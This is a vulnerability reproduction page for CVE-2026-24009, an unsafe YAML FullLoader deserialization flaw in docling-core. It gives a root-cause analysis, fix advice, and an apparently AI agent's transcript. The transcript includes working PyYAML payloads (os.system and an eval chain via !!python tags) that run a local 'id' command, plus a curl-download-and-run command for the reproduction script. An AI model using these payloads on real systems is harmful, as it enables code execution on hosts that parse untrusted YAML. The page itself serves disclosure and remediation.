Skip to content

CVE-2026-24009: Verified Repro With Script Download

CVE-2026-24009: Docling-core YAML Deserialization RCE via FullLoader

CVE-2026-24009 is verified against docling-core · pip. Affected versions: >= 2.21.0, < 2.48.4. Fixed in 2.48.4. Vulnerability class: RCE. This high reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00080.

REPRO-2026-00080 docling-core · pip RCE Feb 13, 2026 CVE entry ↗ .txt
Severity
HIGH
CVSS
8.1
Reproduced in
6m 1s
Tool calls
58
01 · Overview

What Is CVE-2026-24009?

CVE-2026-24009 is a high-severity YAML deserialization remote code execution vulnerability in docling-core's DoclingDocument.load_from_yaml() when used with an outdated, unsafe version of PyYAML. Pruva reproduced it (reproduction REPRO-2026-00080).

02 · Severity & CVSS

CVE-2026-24009 Severity & CVSS Score

CVE-2026-24009 is rated high severity, with a CVSS base score of 8.1 out of 10.

HIGH threat level
8.1 / 10 CVSS base
Weakness CWE-502 — Deserialization of Untrusted Data

High — serious impact or readily exploitable. Prioritize remediation.

03 · Affected Versions

Affected docling-core Versions

docling-core · pip versions >= 2.21.0, < 2.48.4 are affected.

How to Reproduce CVE-2026-24009

$ pruva-verify REPRO-2026-00080
or curl -O https://pruva.dev/api/v1/reproductions/REPRO-2026-00080/artifacts/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh
Run in a VM or disposable container. This exploits a real vulnerability.
06 · Proof of Reproduction

Proof of Reproduction for CVE-2026-24009

Reproduced by Pruva's autonomous agents — 58 tool calls over 6 min. Full root-cause analysis and the complete transcript are below.

How the agent worked 88 events · 58 tool calls · 6 min
6 minDuration
58Tool calls
26Reasoning steps
88Events
Agent activity over 6 min
Support
5
Repro
54
Variant
25
0:0006:01

Root Cause and Exploit Chain for CVE-2026-24009

Summary

docling-core versions 2.21.0 to 2.48.3 call yaml.load(..., Loader=yaml.FullLoader) in DoclingDocument.load_from_yaml, which allows unsafe object construction when PyYAML < 5.4 is installed. With a crafted YAML payload, PyYAML FullLoader evaluates attacker-controlled Python objects (CVE-2020-14343), leading to command execution before the document validation occurs.

Impact

  • Component: docling_core.types.doc.DoclingDocument.load_from_yaml
  • Affected versions: docling-core >= 2.21.0, < 2.48.4 when used with PyYAML < 5.4
  • Risk level: High — arbitrary command execution when parsing untrusted YAML
  • Consequence: An attacker can execute OS commands during YAML deserialization even if the resulting object fails validation.

Root Cause

load_from_yaml opens the provided YAML file and calls yaml.load(f, Loader=yaml.FullLoader). In PyYAML 5.3.1, FullLoader still permits unsafe constructors such as !!python/object/new and !!python/name, which can be combined to invoke eval and execute OS commands (CVE-2020-14343). The deserialization executes before DoclingDocument.model_validate runs, so even if validation fails, the payload already executed. The fix in docling-core 2.48.4 switches to yaml.SafeLoader, which blocks these unsafe tags.

Reproduction Steps

  1. Run repro/reproduction_steps.sh.
  2. The script creates a virtual environment, installs docling-core==2.48.3 with PyYAML==5.3.1, writes a malicious YAML payload using !!python/object/new, then invokes DoclingDocument.load_from_yaml.
  3. Evidence of reproduction is the creation of logs/pwned.txt containing the output of id.

Evidence

  • Log/artifact: logs/pwned.txt
  • Key output (from script):
    • VULNERABILITY CONFIRMED: marker file created at .../logs/pwned.txt
    • Script prints a validation error after deserialization, demonstrating the payload executes before validation.
  • Environment: Python 3.12 venv with docling-core 2.48.3 and PyYAML 5.3.1

Recommendations / Next Steps

  • Upgrade to docling-core 2.48.4 or later, which uses yaml.SafeLoader.
  • If upgrading is not possible, explicitly use yaml.safe_load or SafeLoader when parsing untrusted YAML.
  • Add regression tests that feed malicious YAML payloads into load_from_yaml to ensure unsafe tags are rejected.

Additional Notes

  • The reproduction script is idempotent and can be run multiple times; it overwrites the payload and marker file on each run.
  • Even though the YAML fails DoclingDocument validation, the exploit triggers during deserialization, so validation alone is insufficient protection.

CVE-2026-24009 Reproduction Transcript

The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.

Full session Replay every step — scrub the timeline or play it back.

Event 1/40
0:002:37
0:00
session startedgpt-4o · GHSA-vqxf-v2gg-x3hc · a7b29f81
0:04
0:17
0:20
web search
0:32
extract_facts
no facts extracted
0:34
0:34
supportrepro
0:47
0:47
0:47
0:56
0:56
0:56
#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

VENV="$ROOT/.venv_docling"
if [ ! -d "$VENV" ]; then
  python3 -m venv "$VENV"
fi

# shellcheck disable=SC1091
source "$VENV/bin/activate"

pip install --upgrade pip
pip install "docling-core==2.48.3" "PyYAML==5.3.1"
1:13
$/bin/bash /data/pruva/runs/a7b29f81-0e32-4ae2-b35a-a283d4b11bc1/repro/reproduction_steps.sh
13.9s
{"cwd":"/data/pruva/runs/a7b29f81-0e32-4ae2-b35a-a283d4b11bc1","duration_ms":13922,"exit_code":1,"stderr":"Traceback (most recent call last):\n  File \"<stdin>\", line 6, in <module>\n  File \"/data/pruva/runs/a7b29f81-0e32-4ae2-b35a-a283d4b11bc1/.venv_docling/lib/python3.12/site-packages/docling_core/types/doc/document.py\", line 4356, in load_from_yaml\n    with open(filename, encoding=\"utf-8\") as f:\n         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nFileNotFoundError: [Errno 2] No such file or directory: '!!python/object/apply:os.system [\"/bin/sh -c \\'id > /data/pruva/runs/a7b29f81-0e32-4ae2-b35a-a283d4b11bc1/logs/pwned.txt\\'\"]\\n'\n","stdout":"Requirement already satisfied: pip in ./.venv_docling/lib/python3.12/site-packages (24.0)\nCollecting pip\n  Downloading pip-26.0.1-py3-none-any.whl.metadata (4.7 kB)\nDownloading pip-26.0.1-py3-none-any.whl (1.8 MB)\n   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 1.8/1.8 MB 20.3 MB/s eta 0:00:00\nInstalling collected packages: pip\n  Attempting uninstall: pip\n    Found existing installation: pip 24.0\n    Uninstalling pip-24.0:\n      Successfully uninstalled pip-24.0\nSuccessfully installed pip-26.0.1\nCollecting docling-core==2.48.3\n  Do… [truncated]
1:17
1:17
1:18
1:22
1:22
$/bin/bash -lc 'python - <<"PY" import inspect from docling_core.types.doc import DoclingDocument print(DoclingDocument.load_from_yaml) print(inspect.signature(DoclingDocument.load_from_yaml)) print(inspect.getsource(DoclingDocument.load_from_yaml)) PY'
Traceback (most recent call last):
  File "<stdin>", line 2, in <module>
ModuleNotFoundError: No module named 'docling_core'
1:24
1:25
$/bin/bash -lc 'source /data/pruva/runs/a7b29f81-0e32-4ae2-b35a-a283d4b11bc1/.venv_docling/bin/activate && python - <<"PY" import inspect from docling_core.types.doc import DoclingDocument print(inspect.signature(DoclingDocument.load_from_yaml)) print(inspect.getsource(DoclingDocument.load_from_yaml)) PY'
0.5s
(filename: Union[str, pathlib.Path]) -> 'DoclingDocument'
    @classmethod
    def load_from_yaml(cls, filename: Union[str, Path]) -> "DoclingDocument":
        """load_from_yaml.

        Args:
            filename: The filename to load a YAML-serialized DoclingDocument from.
1:30
1:30
#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

VENV="$ROOT/.venv_docling"
if [ ! -d "$VENV" ]; then
  python3 -m venv "$VENV"
fi

# shellcheck disable=SC1091
source "$VENV/bin/activate"

pip install --upgrade pip
pip install "docling-core==2.48.3" "PyYAML==5.3.1"
1:38
$/bin/bash /data/pruva/runs/a7b29f81-0e32-4ae2-b35a-a283d4b11bc1/repro/reproduction_steps.sh
1.0s
{"cwd":"/data/pruva/runs/a7b29f81-0e32-4ae2-b35a-a283d4b11bc1","duration_ms":967,"exit_code":1,"stderr":"Traceback (most recent call last):\n  File \"<stdin>\", line 3, in <module>\n  File \"/data/pruva/runs/a7b29f81-0e32-4ae2-b35a-a283d4b11bc1/.venv_docling/lib/python3.12/site-packages/docling_core/types/doc/document.py\", line 4357, in load_from_yaml\n    data = yaml.load(f, Loader=yaml.FullLoader)\n           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/data/pruva/runs/a7b29f81-0e32-4ae2-b35a-a283d4b11bc1/.venv_docling/lib/python3.12/site-packages/yaml/__init__.py\", line 114, in load\n    return loader.get_single_data()\n           ^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/data/pruva/runs/a7b29f81-0e32-4ae2-b35a-a283d4b11bc1/.venv_docling/lib/python3.12/site-packages/yaml/constructor.py\", line 51, in get_single_data\n    return self.construct_document(node)\n           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/data/pruva/runs/a7b29f81-0e32-4ae2-b35a-a283d4b11bc1/.venv_docling/lib/python3.12/site-packages/yaml/constructor.py\", line 55, in construct_document\n    data = self.construct_object(node)\n           ^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  File \"/data/pruva/runs/a7b29f81-0e32-4ae2… [truncated]
1:47
1:47
$/bin/bash -lc 'source /data/pruva/runs/a7b29f81-0e32-4ae2-b35a-a283d4b11bc1/.venv_docling/bin/activate && python - <<"PY" import yaml print(yaml.__version__) keys = [k for k in yaml.FullLoader.yaml_constructors.keys() if "python" in str(k)] print(keys) PY'
5.3.1
['tag:yaml.org,2002:python/none', 'tag:yaml.org,2002:python/bool', 'tag:yaml.org,2002:python/str', 'tag:yaml.org,2002:python/unicode', 'tag:yaml.org,2002:python/bytes', 'tag:yaml.org,2002:python/int', 'tag:yaml.org,2002:python/long', 'tag:yaml.org,2002:python/float', 'tag:yaml.org,2002:python/complex', 'tag:yaml.org,2002:python/list', 'tag:yaml.org,2002:python/tuple', 'tag:yaml.org,2002:python/dict']
1:52
1:54
web search
2:01
2:04
$/bin/bash -lc 'source /data/pruva/runs/a7b29f81-0e32-4ae2-b35a-a283d4b11bc1/.venv_docling/bin/activate && python - <<"PY" import yaml from yaml.loader import FullLoader print(FullLoader) print([k for k in FullLoader.yaml_constructors.keys() if "python" in str(k)]) PY'
<class 'yaml.loader.FullLoader'>
['tag:yaml.org,2002:python/none', 'tag:yaml.org,2002:python/bool', 'tag:yaml.org,2002:python/str', 'tag:yaml.org,2002:python/unicode', 'tag:yaml.org,2002:python/bytes', 'tag:yaml.org,2002:python/int', 'tag:yaml.org,2002:python/long', 'tag:yaml.org,2002:python/float', 'tag:yaml.org,2002:python/complex', 'tag:yaml.org,2002:python/list', 'tag:yaml.org,2002:python/tuple', 'tag:yaml.org,2002:python/dict']
2:07
2:07
$/bin/bash -lc 'source /data/pruva/runs/a7b29f81-0e32-4ae2-b35a-a283d4b11bc1/.venv_docling/bin/activate && python - <<"PY" import yaml from yaml.loader import FullLoader print([k for k in FullLoader.yaml_multi_constructors.keys() if "python" in str(k)]) PY'
['tag:yaml.org,2002:python/name:', 'tag:yaml.org,2002:python/module:', 'tag:yaml.org,2002:python/object:', 'tag:yaml.org,2002:python/object/new:']
2:21
$/bin/bash -lc 'source /data/pruva/runs/a7b29f81-0e32-4ae2-b35a-a283d4b11bc1/.venv_docling/bin/activate && python - <<"PY" import yaml payload = """!!python/object/new:tuple - !!python/object/new:map - !!python/name:eval - ["__import__('os').system('id > /tmp/pwned_test')"] """ print(payload) print(yaml.load(payload, Loader=yaml.FullLoader)) PY'
/bin/bash: line 6: warning: here-document at line 1 delimited by end-of-file (wanted `PY')
  File "<stdin>", line 2
    payload = """!!python/object/new:tuple
              ^
SyntaxError: unterminated triple-quoted string literal (detected at line 5)
2:25
$/bin/bash -lc 'source /data/pruva/runs/a7b29f81-0e32-4ae2-b35a-a283d4b11bc1/.venv_docling/bin/activate && python - <<"PY" import yaml payload = """!!python/object/new:tuple - !!python/object/new:map - !!python/name:eval - ["__import__('os').system('id > /tmp/pwned_test')"] """ print(yaml.load(payload, Loader=yaml.FullLoader)) PY'
/bin/bash: line 6: warning: here-document at line 1 delimited by end-of-file (wanted `PY')
  File "<stdin>", line 2
    payload = """!!python/object/new:tuple
              ^
SyntaxError: unterminated triple-quoted string literal (detected at line 5)
2:28
2:28
$/bin/bash -lc 'source /data/pruva/runs/a7b29f81-0e32-4ae2-b35a-a283d4b11bc1/.venv_docling/bin/activate && python - <<"PY" import yaml payload = """!!python/object/new:tuple - !!python/object/new:map - !!python/name:eval - ["__import__('os').system('id > /tmp/pwned_test')"] """ print(payload) print(yaml.load(payload, Loader=yaml.FullLoader)) PY'
/bin/bash: line 6: warning: here-document at line 1 delimited by end-of-file (wanted `PY')
  File "<stdin>", line 2
    payload = """!!python/object/new:tuple
              ^
SyntaxError: unterminated triple-quoted string literal (detected at line 5)
2:37
2:37

Artifacts and Evidence for CVE-2026-24009

Scripts, logs, diffs, and output captured during the reproduction.

No artifacts available

08 · How to Fix

How to Fix CVE-2026-24009

Upgrade docling-core · pip to 2.48.4 or later.

Coming soon

Step-by-step mitigation and hardening guidance for CVE-2026-24009 — configuration checks, workarounds where no patch exists, and how to verify you're protected — is on the way.

10 · FAQ

FAQ: CVE-2026-24009

How does the CVE-2026-24009 deserialization attack work?

An attacker supplies a crafted YAML document using !!python/object/new and !!python/name tags to load_from_yaml(). Because deserialization runs before DoclingDocument.model_validate is called, PyYAML's FullLoader executes the attacker's Python object construction — and the resulting command execution happens even if the deserialized object subsequently fails validation.

Which docling-core versions are affected by CVE-2026-24009, and where is it fixed?

docling-core >= 2.21.0, < 2.48.4 is affected when used with PyYAML < 5.4; it is fixed in 2.48.4, which switches to yaml.SafeLoader.

How severe is CVE-2026-24009?

It is rated high severity: an attacker can execute OS commands during YAML deserialization of untrusted input, regardless of whether the resulting document ultimately passes validation.

How can I reproduce CVE-2026-24009?

Download the verified script from this page and run it in an isolated environment with docling-core 2.48.3 and PyYAML 5.3.1 installed. It writes a malicious YAML payload using !!python/object/new, calls DoclingDocument.load_from_yaml() on it, and shows the embedded command executing, then confirms 2.48.4 is not exploitable.
11 · References

References for CVE-2026-24009

Authoritative sources for CVE-2026-24009 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.